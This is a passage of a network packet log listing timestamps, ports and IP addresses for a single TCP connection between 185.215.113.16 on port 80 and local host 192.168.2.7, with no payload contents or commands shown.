Oct 29, 2024 20:36:09.934708118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934720039 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934757948 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934760094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934772968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934783936 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934813976 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934825897 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934834957 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934837103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934849024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934860945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934871912 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934885979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934904099 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934916019 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934937000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934954882 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.934983015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.934995890 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935004950 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935009956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935034037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935079098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935079098 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935091972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935106993 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935122013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935153008 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935184956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935195923 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935205936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935215950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935241938 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935271978 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935281038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935292959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935303926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935323000 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935352087 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935376883 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935430050 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935429096 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935442924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935480118 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935607910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935626984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935637951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935657978 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935699940 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935741901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935754061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935764074 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935775995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935786963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935801029 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935839891 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935863018 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935874939 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935887098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935911894 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935939074 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.935971975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935982943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.935993910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936006069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936017990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936027050 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936031103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936053038 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936089993 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936124086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936135054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936146975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936156988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936175108 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936206102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936223984 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936232090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936243057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936252117 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936265945 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936300039 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936315060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936326981 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936337948 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936362982 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936389923 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936753988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936796904 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936808109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936811924 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936847925 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936901093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936913967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936924934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936938047 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.936958075 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.936983109 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937052965 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937064886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937074900 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937088013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937099934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937110901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937109947 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937123060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937129974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937135935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937148094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937158108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937161922 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937191963 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937211990 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937297106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937309027 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937319040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937330961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937340975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937350035 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937355995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937367916 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.937408924 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.937426090 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.002856016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002885103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002902985 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002914906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002924919 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002938032 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.002990007 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003004074 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003016949 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003102064 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003634930 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003648043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003659964 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003693104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003705025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003715038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003734112 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003763914 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003772974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003776073 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003791094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003809929 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003861904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003891945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003904104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003915071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003926992 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003938913 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003948927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.003951073 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.003964901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004013062 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004025936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004039049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004050016 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004081964 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004095078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004102945 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004107952 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004158020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004184961 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004246950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004259109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004271984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004281044 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004295111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004306078 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004307985 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004317999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004329920 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004333973 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004395008 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004400015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004412889 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004424095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004436016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004460096 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004487038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004498959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004507065 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004511118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004527092 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004545927 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004545927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004558086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004576921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004586935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004604101 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004616976 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004627943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004633904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004638910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004650116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004654884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004712105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004735947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004748106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004759073 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004770041 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004781008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004791021 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004796028 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004802942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004841089 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004892111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.004909992 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004921913 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004934072 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004946947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.004972935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005003929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005016088 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005017042 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005028009 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005042076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005048037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005053997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005067110 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005126953 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005171061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005189896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005202055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005213022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005223989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005234003 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005237103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005250931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005263090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005302906 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005336046 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005347967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005357981 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005362034 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005373955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005376101 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005386114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005397081 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005413055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005423069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005425930 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005466938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005477905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005490065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005489111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005502939 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005505085 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005515099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005527020 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005559921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005579948 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005589962 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.005605936 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.005635977 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045166969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045196056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045208931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045222044 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045273066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045284033 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045295954 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045309067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045322895 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045341015 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045361042 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045382977 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045443058 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045464993 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045468092 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045478106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045490980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045511007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045521975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045528889 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045583963 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045618057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045629978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045641899 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045654058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045661926 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045696974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045726061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045737982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045768023 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045794964 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045809984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045814037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045823097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045842886 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045867920 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045897961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045936108 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.045963049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045974016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045984983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.045996904 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046003103 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046009064 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046030998 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046072960 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046084881 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046097040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046156883 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046164989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046178102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046199083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046241045 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046262026 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046322107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046334982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046346903 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046360970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046370029 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046376944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046389103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046402931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046406984 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046471119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046483994 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046499968 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046515942 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046591043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046603918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046613932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046621084 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046626091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046632051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046633005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046638012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046644926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046649933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046657085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046664000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046742916 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:10.046941996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046960115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:10.046971083 CET	80	49981	185.215.113.16	192.168.2.7
